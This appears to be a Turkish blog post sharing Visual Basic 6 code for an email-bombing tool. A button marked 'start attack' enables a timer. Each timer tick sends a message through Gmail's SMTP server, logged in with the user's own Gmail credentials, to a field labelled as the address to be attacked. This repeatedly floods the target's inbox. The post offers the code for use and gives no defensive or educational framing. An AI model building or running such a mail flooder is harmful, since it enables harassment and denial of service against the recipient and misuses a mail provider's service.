Private Sub Command1_Click()
Timer1.Enabled = True 'SALDIRI BAŞLAT
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "GMAL HESABINIZ"
Flds.Item(schema & "sendpassword") = "ŞİFRENİZ"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "Saldırılacak mail adresi"
.From = "Myname <myemail@mydomain.com>"
.Subject = "Test send with gmail account"
.HTMLBody = message
.Sender = "Myname"
.Organization = "Myname"
.ReplyTo = "myemail@mydomain.com"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
End Sub
0 yorum:
Yorum Gönder